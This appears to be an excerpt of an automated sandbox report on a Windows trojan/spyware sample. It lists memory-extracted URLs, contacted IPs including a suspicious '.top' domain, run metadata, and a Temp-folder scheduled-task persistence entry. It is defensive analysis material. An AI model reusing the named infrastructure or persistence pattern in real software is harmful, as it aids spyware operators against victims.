https://photos.google.com/settings?referrer=CHROME_NTP	chrome.exe, 00000003.00000003.1785913359.000009C002F9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1786458040.000009C003198000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1802902444.000009C002C70000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7714	chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/document/(n	chrome.exe, 00000003.00000002.1804586922.000009C002F5C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://unisolated.invalid/	chrome.exe, 00000003.00000002.1802543269.000009C002BB8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://photos.google.com?referrer=CHROME_NTP	chrome.exe, 00000003.00000003.1788652455.000009C0025A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1788918641.000009C00340C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1788849872.000009C003318000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/tips/	chrome.exe, 00000003.00000002.1805554252.000009C003078000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1802414956.000009C002B58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1802068773.000009C002A64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1799240547.000009C0023C4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive.google.com/?lfhs=2	chrome.exe, 00000003.00000002.1804586922.000009C002F5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1801678149.000009C002970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1799240547.000009C0023C4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6248	chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5007ts	chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anglebug.com/6929	chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5281	chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	false		high
https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhones	chrome.exe, 00000003.00000002.1805836828.000009C0030F4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.youtube.com/?feature=ytca	chrome.exe, 00000003.00000002.1804586922.000009C002F5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1801678149.000009C002970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1799240547.000009C0023C4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/255411748	chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/document/u/0/create?usp=chrome_actions	chrome.exe, 00000003.00000002.1801745522.000009C0029A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1801775898.000009C0029BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1800359819.000009C0026C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1806096560.000009C0031B8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7246	chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7369	chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7489	chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/presentation/	chrome.exe, 00000003.00000002.1804614068.000009C002F70000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/?q=	chrome.exe, 00000003.00000002.1802477961.000009C002B84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1803499425.000009C002DE0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore	chrome.exe, 00000003.00000003.1782105384.000009C002EA8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/PATENTS.txt	chrome.exe, 00000003.00000003.1788652455.000009C0025A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1786634598.000009C003288000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1799750154.000009C0024FB000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1786600899.000009C003238000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1788293085.000009C002E7C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1788393166.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1786666254.000009C0030F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1786496806.000009C003094000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1788341141.000009C003150000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1789080188.000009C002F9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1786731825.000009C003254000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1788918641.000009C00340C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1788849872.000009C003318000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1788439862.000009C00315C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.ico	chrome.exe, 00000003.00000002.1803333950.000009C002D98000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mail.google.com/mail/?usp=installed_webapp/	chrome.exe, 00000003.00000002.1803615041.000009C002E14000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/161903006	chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.youtube.com/	chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1799240547.000009C0023C4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.ico	chrome.exe, 00000003.00000002.1803499425.000009C002DE0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actions	chrome.exe, 00000003.00000002.1801646893.000009C002950000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1800442654.000009C0026FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1806134675.000009C0031EC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy	chrome.exe, 00000003.00000002.1802381908.000009C002B44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1801678149.000009C002970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1800873194.000009C002818000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1800148287.000009C00261C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/spreadsheets/	chrome.exe, 00000003.00000002.1799347746.000009C00240C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1804384734.000009C002F00000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3078	chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/7553	chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5375	chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	false		high
https://httpbin.org/ipbefore	U6mwWZlkzH.exe, 00000000.00000003.1386083154.0000000007B65000.00000004.00001000.00020000.00000000.sdmp	false		high
http://anglebug.com/5371	chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4722	chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	false		high
https://m.google.com/devicemanagement/data/api	chrome.exe, 00000003.00000002.1799240547.000009C0023C4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/presentation/u/0/create?usp=chrome_actions	chrome.exe, 00000003.00000002.1801646893.000009C002950000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1800442654.000009C0026FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1806134675.000009C0031EC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/7556	chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chromewebstore.google.com/	chrome.exe, 00000003.00000002.1799086120.000009C00238C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.icotateWorks	chrome.exe, 00000003.00000002.1803525650.000009C002DEC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://clients4.google.com/chrome-sync	chrome.exe, 00000003.00000002.1799240547.000009C0023C4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://html4/loose.dtd	U6mwWZlkzH.exe, 00000000.00000003.1386083154.0000000007B65000.00000004.00001000.00020000.00000000.sdmp	false		high
http://anglebug.com/6692	chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/258207403	chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3502	chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3623	chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3625	chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3624	chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/presentation/J	chrome.exe, 00000003.00000002.1801678149.000009C002970000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5007	chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive.google.com/drive/installwebapp?usp=chrome_default	chrome.exe, 00000003.00000002.1801678149.000009C002970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1801164415.000009C0028C4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3862	chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstoreLDDiscover	chrome.exe, 00000003.00000002.1802174854.000009C002ABC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1786789354.000009C002E8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1782070169.000009C002E7C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1789544091.000009C002E8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1784986564.000009C002EA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1782105384.000009C002EA8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/search?q=&addon=opensearch	chrome.exe, 00000003.00000002.1803333950.000009C002D98000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4836	chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/issues/166475273	chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	false		high
http://.css	U6mwWZlkzH.exe, 00000000.00000003.1386083154.0000000007B65000.00000004.00001000.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.ico	chrome.exe, 00000003.00000002.1803499425.000009C002DE0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/7724ty	chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.google.com/presentation/:	chrome.exe, 00000003.00000002.1801678149.000009C002970000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4384	chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0A	chrome.exe, 00000003.00000002.1805669728.000009C0030C0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/CharGl3	chrome.exe, 00000003.00000002.1801811356.000009C0029E0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3970	chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	false		high
https://myaccount.google.com/signinoptions/password?utm_source=ga-chrome-actions&utm_medium=changePW	chrome.exe, 00000003.00000002.1805836828.000009C0030F4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1801678149.000009C002970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1800148287.000009C00261C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://safebrowsing.googleusercontent.com/safebrowsing/clientreport/chrome-certs	chrome.exe, 00000003.00000002.1802477961.000009C002B84000.00000004.00000800.00020000.00000000.sdmp	false		high
https://policies.google.com/	chrome.exe, 00000003.00000002.1802902444.000009C002C70000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/presentation/e	chrome.exe, 00000003.00000002.1804614068.000009C002F70000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chrome.exe, 00000003.00000003.1788652455.000009C0025A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1786634598.000009C003288000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1799750154.000009C0024FB000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1786600899.000009C003238000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1788293085.000009C002E7C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1788393166.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1786666254.000009C0030F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1786496806.000009C003094000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1788341141.000009C003150000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1789080188.000009C002F9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1786731825.000009C003254000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1788918641.000009C00340C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1788849872.000009C003318000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1788439862.000009C00315C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://.jpg	U6mwWZlkzH.exe, 00000000.00000003.1386083154.0000000007B65000.00000004.00001000.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-query.fastly-edge.com/2P	chrome.exe, 00000003.00000002.1809292365.000033180080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772909545.0000331800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1773120628.000033180039C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7604	chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/hj	chrome.exe, 00000003.00000003.1773362486.0000331800684000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/7761	chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/7760	chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	chrome.exe, 00000003.00000002.1803525650.000009C002DEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1800651938.000009C0027B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1800442654.000009C0026FC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5901	chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3965	chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6439	chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/7406	chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7161	chrome.exe, 00000003.00000002.1803285866.000009C002D48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781265993.000009C002A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1781195635.000009C002590000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780558074.000009C002590000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/search?q=$	chrome.exe, 00000003.00000003.1788849872.000009C003318000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
98.85.100.80	httpbin.org	United States	11351	TWC-11351-NORTHEASTUS	false
185.185.71.170	fivetk5pn.top	Russian Federation	35278	SPRINTHOSTRU	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.181.132	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1577879
Start date and time:	2024-12-18 20:55:23 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 13m 29s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	23
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	U6mwWZlkzH.exe renamed because original name is a hash value
Original Sample Name:	c640a058cdfe8c320e2386c8d67382d1.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@22/7@16/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 13 Number of non-executed functions: 199
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240s for sample files taking high CPU consumption

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.181.99, 172.217.17.78, 64.233.164.84, 20.42.73.29, 13.107.246.63, 4.245.163.56, 2.18.84.141, 20.190.181.6, 20.189.173.5
Excluded domains from analysis (whitelisted): www.bing.com, fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, otelrules.azureedge.net, self.events.data.microsoft.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, watson.events.data.microsoft.com, login.live.com, blobcollectorcommon.trafficmanager.net, onedsblobprdeus15.eastus.cloudapp.azure.com, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: U6mwWZlkzH.exe

Simulations

Behavior and APIs

Time	Type	Description
14:56:48	API Interceptor	2886297x Sleep call for process: U6mwWZlkzH.exe modified
14:58:25	API Interceptor	1x Sleep call for process: WerFault.exe modified
14:58:48	API Interceptor	11840759x Sleep call for process: service123.exe modified
20:58:15	Task Scheduler	Run new task: ServiceData4 path: C:\Users\user\AppData\Local\Temp\/service123.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
